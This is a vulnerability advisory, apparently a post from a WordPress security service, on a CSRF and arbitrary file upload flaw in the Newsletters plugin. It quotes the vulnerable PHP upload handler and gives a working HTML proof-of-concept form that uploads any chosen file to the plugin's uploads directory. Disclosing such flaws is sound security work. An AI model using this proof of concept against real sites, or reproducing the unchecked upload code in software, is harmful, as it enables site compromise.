26 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Newsletters

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. Seeing as arbitrary file upload vulnerabilities are at the top in terms of exploits that seems like one area where it might make sense to focus on, while looking over just several days worth of plugin changes we ran across a related, though much less concerning vulnerability. That being a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin Newsletters, which would be unlikely to be targeted on a wide scale, but might be used in a targeted attack.

The vulnerability is caused by two security failures.

First, when saving the plugin’s settings the plugin doesn’t check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seems to be aware of CSRF, but hasn’t properly implemented the protection.

Second, one of the settings that gets saved is a “Tracking Image/Logo”. While that name would indicate that some sort of image should be uploaded the code, shown below, has no restriction on what can be uploaded (/wp-mailinglist.php):

8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
if (!empty($_FILES)) {
	foreach ($_FILES as $fkey => $fval) {
		switch ($fkey) {
			case 'tracking_image_file'			:
				$tracking_image_file = $this -> get_option('tracking_image_file');
 
				if (!empty($_POST['tracking']) && $_POST['tracking'] == "Y" && !empty($_POST['tracking_image']) && $_POST['tracking_image'] == "custom") {
					if (!empty($_FILES['tracking_image_file']['name'])) {
						$tracking_image_file = $_FILES['tracking_image_file']['name'];
						$tracking_image_path = $Html -> uploads_path() . DS . $this -> plugin_name . DS;
						$tracking_image_full = $tracking_image_path . $tracking_image_file;
 
						if (move_uploaded_file($_FILES['tracking_image_file']['tmp_name'], $tracking_image_full)) {
							$this -> update_option('tracking_image_file', $tracking_image_file);
						} else {
							$this -> render_error(__('Tracking image file could not be moved from /tmp', 'wp-mailinglist'));
						}
					} else {
						if (empty($tracking_image_file)) {
							$this -> render_error(__('No image was specified', 'wp-mailinglist'));
						}
					}
				}
				break;
		}
	}
}

By default the setting’s page is only accessible to Administrators, but the plugin provides the option of making the settings page available to lower level users as well, so in those cases lower level users also could exploit the arbitrary file upload portion of this without CSRF coming in to play.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/newsletters-lite/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=newsletters-settings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tracking" value="Y" />
<input type="hidden" name="tracking_image" value="custom" />
<input type="file" name="tracking_image_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 19, 2017 – Developer notified.

Concerned About The Security of The Plugins You Use?

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

Leave a Reply

Your email address will not be published. Required fields are marked *